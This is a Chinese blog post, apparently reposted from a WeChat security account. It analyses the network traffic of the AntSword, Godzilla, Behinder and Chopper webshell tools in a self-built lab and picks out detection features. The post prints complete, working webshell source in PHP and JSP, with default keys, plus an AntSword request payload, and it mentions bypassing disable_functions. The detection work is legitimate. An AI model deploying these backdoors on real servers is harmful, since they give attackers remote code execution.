在开始分析之前,我这里先采用腾讯云服务器搭建了一个宝塔面板,腾讯免费领取的服务器自带了宝塔还是很方便的
先提前在宝塔搭建的站点中放入一句话木马
然后利用webshell连接工具尝试连接(创建站点后),先利用蚁剑进行连接
蚁剑:
(这里我也没买防火墙,所以直接连接成功)
打开wireshark根据自己的网络选好接口后抓包,找到其中的HTTP流并追踪
可以看到这一个post请求访问1.php,正是蚁剑的流量。
可以看到在UA头中很明显显示的就是蚁剑名字以及版本
而且在拦截的请求中还有明显的base64解码特征,把这段代码放入url解码
0x910c322ebddcf=L3d3dy93d3dyb290L3Rlc3Qv&x=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "74edb";echo @asenc($output);echo "ca2ba";}ob_start();try{$D=base64_decode($_POST["0x910c322ebddcf"]);$F=@opendir($D);if($F==NULL){echo("ERROR:// Path Not Found Or No Permission!");}else{$M=NULL;$L=NULL;while($N=@readdir($F)){$P=$D.$N;$T=@date("Y-m-d H:i:s",@filemtime($P));@$E=substr(base_convert(@fileperms($P),10,8),-4);$R=" ".$T." ".@filesize($P)." ".$E."
";if(@is_dir($P))$M.=$N."/".$R;else $L.=$N.$R;}echo $M.$L;@closedir($F);};}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
感觉像是获取文件的数据包脚本,多次连接测试发现蚁剑的脚本前面都是@ini_set("display_errors", "0");
哥斯拉:
下载哥斯拉会报毒,最好使用虚拟机打开
哥斯拉可以自己生成木马
默认如此,但也可以更改,哥斯拉的木马类型比较多
<%! String xc="3c6e0b8a9c15224a"; String pass="pass"; String md5=md5(pass+xc); class X extends ClassLoader{public X(ClassLoader z){super(z);}public Class Q(byte[] cb){return super.defineClass(cb, 0, cb.length);} }public byte[] x(byte[] s,boolean m){ try{javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(xc.getBytes(),"AES"));return c.doFinal(s); }catch (Exception e){return null; }} public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } public static String base64Encode(byte[] bs) throws Exception {Class base64;String value = null;try {base64=Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });} catch (Exception e2) {}}return value; } public static byte[] base64Decode(String bs) throws Exception {Class base64;byte[] value = null;try {base64=Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value = (byte[])decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e) {try { base64=Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[])decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });} catch (Exception e2) {}}return value; }%><%try{byte[] data=base64Decode(request.getParameter(pass));data=x(data, false);if (session.getAttribute("payload")==null){session.setAttribute("payload",new X(this.getClass().getClassLoader()).Q(data));}else{request.setAttribute("parameters",data);java.io.ByteArrayOutputStream arrOut=new java.io.ByteArrayOutputStream();Object f=((Class)session.getAttribute("payload")).newInstance();f.equals(arrOut);f.equals(pageContext);response.getWriter().write(md5.substring(0,16));f.toString();response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));response.getWriter().write(md5.substring(16));} }catch (Exception e){}
%>
我们可以生成放在本地查看,哥斯拉的马较复杂
抓包跟踪http流
可以看到php的码是由base64解密痕迹以及eval这个执行函数的,下面一长串应该就是被base64加密过后的脚本
分析发现
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.
是固定的,且哥斯拉的cookie尾缀会有个分号,这里和前面的一起判断也是可以作为依据的
冰蝎3.0:
@error_reporting(0);
session_start();
$key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
$_SESSION['k']=$key;
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
冰蝎木马如上,提前放入搭建的站点然后进行连接
功能很多,比蚁剑高端(先玩玩)
虽然连接上了,但是出现了一个问题,命令执行被禁止了
百度搜索才发现,在php.ini中存在一个配置,禁用一些关键命令来防止入侵,我们在phpinfo中也可以找到它
最简单的就是在php.ini修改即可,也可以通过黑名单漏洞绕过,当然这里好像禁用了所有。网上也有bypass,但这里我们不做具体分析
找到ini文件具体位置修改即可。
更改后便可以执行
追踪http流后发现发送了一长串东西
结合之前的脚本也能发现是AES加密后的文本(类似于base64,但会有很多斜杠)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-type: application/x-www-form-urlencoded
Referer: http://xx.xx.xx.xx/b1.php
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0
Cache-Control: no-cache
多次连接对比,accept,content-type这里基本没变化,可以作为依据判断.将冰蝎jar包导入idea逆向分析,(右键导入库中)
可以看到在程序中已经设置好UA头,(黑客很可能忽略这个地方从而让这里也变为判断依据)
每一个文件对应了一个模块
冰蝎4.0:
比3.0多了一个传输协议还有三个默认连接方式
可以自主生成木马,并保存在server目录下
php:
@error_reporting(0);
function Decrypt($data)
{
$key="e45e329feb5d925b";
$bs="base64_"."decode";
$after=$bs($data."");
for($i=0;$i<strlen($after);$i++) {
$after[$i] = $after[$i]^$key[$i+1&15];
}
return $after;
}
$post=Decrypt(file_get_contents("php://input"));
eval($post);
jsp:
<%import="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %>
<%!
private byte[] Decrypt(byte[] data) throws Exception
{
byte[] decodebs;
Class baseCls ;
try{
baseCls=Class.forName("java.util.Base64");
Object Decoder=baseCls.getMethod("getDecoder", null).invoke(baseCls, null);
decodebs=(byte[]) Decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(Decoder, new Object[]{data});
}
catch (Throwable e)
{
baseCls = Class.forName("sun.misc.BASE64Decoder");
Object Decoder=baseCls.newInstance();
decodebs=(byte[]) Decoder.getClass().getMethod("decodeBuffer",new Class[]{String.class}).invoke(Decoder, new Object[]{new String(data)});
}
String key="e45e329feb5d925b";
for (int i = 0; i < decodebs.length; i++) {
decodebs[i] = (byte) ((decodebs[i]) ^ (key.getBytes()[i + 1 & 15]));
}
return decodebs;
}
%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length=request.getInputStream().read(buf);
while (length>0)
{
byte[] data= Arrays.copyOfRange(buf,0,length);
bos.write(data);
length=request.getInputStream().read(buf);
}
/* 取消如下代码的注释,可避免response.getOutputstream报错信息,增加某些深度定制的Java web系统的兼容�??
out.clear();
out=pageContext.pushBody();
*/
out.clear();
out=pageContext.pushBody();
new U(this.getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);}
%>
将木马提前放入站点连接测试,用wiresharck抓取了流量发现和3.0差不多
但多了很多功能,比如内网资产扫描,扩展程序的扩充
菜刀:
由于菜刀报毒严重,就在虚拟机中打开它
这是菜刀连接成功的界面(打开菜刀还可以设置密码,这点很不错)
追踪流可以发现
这个数据包将所有文件返回到菜刀上,有明显的eval,base64痕迹
根据别人的文章分析菜刀有一段固定代码
QG开头,7J结尾,我抓包并未发现。不过QGluav9zZ开头的确存在,也可以综合判断。
原文始发于微信公众号(shadowsec):使用哥斯拉冰蝎蚁剑等webshell连接工具并用wireshark分析它们的流量特征
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论